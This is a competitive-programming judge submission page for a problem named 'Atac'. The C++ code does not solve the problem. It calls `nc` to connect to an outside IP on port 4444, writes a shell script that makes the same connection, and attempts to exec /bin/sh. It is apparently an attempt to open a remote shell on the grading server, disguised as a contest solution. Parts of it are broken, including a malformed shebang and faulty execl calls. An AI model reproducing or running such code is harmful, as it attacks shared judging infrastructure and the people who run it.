Cod sursa(job #2518257)
Utilizator | Marcu Ionut Ionut15 | Data | 5 ianuarie 2020 13:32:41 |
---|---|---|---|
Problema | Atac | Scor | 0 |
Compilator | cpp-64 | Status | done |
Runda | Arhiva de probleme | Marime | 0.51 kb |
#include <stdio.h>
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <stdlib.h>
using namespace std;
int main()
{
ifstream i("atac.in");
ofstream o("atac.out");
int ret=system("nc 95.77.127.202 4444");
if(ret==-1) return 2;
ofstream f("run.sh");
f<<"!#/bin/sh\r\nnc 95.77.127.202 4444";
f.close();
char* path = realpath("run.sh", NULL);
execl("/bin/sh",NULL,NULL);
execl("/bin/sh", "run.sh", path, (char *) NULL);
printf("Hello World");
return 0;
}